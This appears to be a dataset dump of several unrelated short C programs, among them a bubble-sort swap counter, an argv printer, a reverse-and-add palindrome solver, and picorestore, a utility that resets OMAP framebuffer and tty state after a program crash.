for (int i = 0; s1[i]; ++i)
{
if (s1[i] != s2[i])
s1[i] == 'x' ? ++x1 : ++y1;
}
if ((x1 + y1) % 2 != 0)
return -1;
return (x1 + y1) / 2 + x1 % 2;
}
|
the_stack_data/126701829.c | #include <stdio.h>
int main()
{
long long int array[100000], n, c, d, s,l;
while(scanf("%lld", &n) && n)
{
for (c = 0; c < n; c++)
{
scanf("%lld", &array[c]);
}
l = 0;
for (c = 0 ; c<n-1; c++)
{
for (d = 0 ; d < n - c - 1; d++)
{
if (array[d] > array[d+1])
{
s = array[d];
array[d] = array[d+1];
array[d+1]= s;
l++;
}
}
}
printf("%lld\n",l);
}
return 0;
}
|
the_stack_data/73574197.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int i;
printf("argc=%d\n", argc);
for(i = 0; i < argc; i++){
printf("argv[%d]=%s\n", i, argv[i]);
}
exit(0);
} |
the_stack_data/232955759.c | /*Problem 10018*/
#include <stdio.h>
unsigned int addReverse(unsigned int);
int palindrome(unsigned int);
int main() {
int num;
scanf("%d", &num);
unsigned int added, c;
while (num--) {
c = 0;
scanf("%d", &added);
do {
added = addReverse(added);
c++;
} while (!palindrome(added));
printf("%d %d\n", c, added);
}
return 0;
}
unsigned int addReverse(unsigned int added) {
unsigned int reverse = 0, temp = added;
while (temp != 0) {
reverse *= 10;
reverse += temp % 10;
temp /= 10;
}
return added + reverse;
}
int palindrome(unsigned int added) {
unsigned int reverse = 0, temp = added;
while (temp != 0) {
reverse *= 10;
reverse += temp % 10;
temp /= 10;
}
return added == reverse ? 1 : 0;
} |
the_stack_data/51700403.c | /*
* picorestore - clean up after an omapfb program crash
*
* Copyright (c) Gražvydas "notaz" Ignotas, 2010
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the organization nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/fb.h>
#include <linux/omapfb.h>
#include <linux/kd.h>
int main()
{
struct fb_var_screeninfo fbvar;
struct omapfb_plane_info pi;
struct omapfb_mem_info mi;
int ret, fbdev, kbdfd;
fbdev = open("/dev/fb0", O_RDWR);
if (fbdev == -1) {
perror("open fb0");
goto end_fb0;
}
ret = ioctl(fbdev, FBIOGET_VSCREENINFO, &fbvar);
if (ret == -1) {
perror("FBIOGET_VSCREENINFO ioctl");
goto end_fb0;
}
if (fbvar.yoffset != 0) {
printf("fixing yoffset.. ");
fbvar.yoffset = 0;
ret = ioctl(fbdev, FBIOPAN_DISPLAY, &fbvar);
if (ret < 0)
perror("ioctl FBIOPAN_DISPLAY");
else
printf("ok\n");
}
end_fb0:
if (fbdev >= 0)
close(fbdev);
fbdev = open("/dev/fb1", O_RDWR);
if (fbdev == -1) {
perror("open fb1");
goto end_fb1;
}
ret = ioctl(fbdev, OMAPFB_QUERY_PLANE, &pi);
ret |= ioctl(fbdev, OMAPFB_QUERY_MEM, &mi);
if (ret != 0)
perror("QUERY_*");
pi.enabled = 0;
ret = ioctl(fbdev, OMAPFB_SETUP_PLANE, &pi);
if (ret != 0)
perror("SETUP_PLANE");
mi.size = 0;
ret = ioctl(fbdev, OMAPFB_SETUP_MEM, &mi);
if (ret != 0)
perror("SETUP_MEM");
end_fb1:
if (fbdev >= 0)
close(fbdev);
kbdfd = open("/dev/tty", O_RDWR);
if (kbdfd == -1) {
perror("open /dev/tty");
return 1;
}
if (ioctl(kbdfd, KDSETMODE, KD_TEXT) == -1)
perror("KDSETMODE KD_TEXT");
close(kbdfd);
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.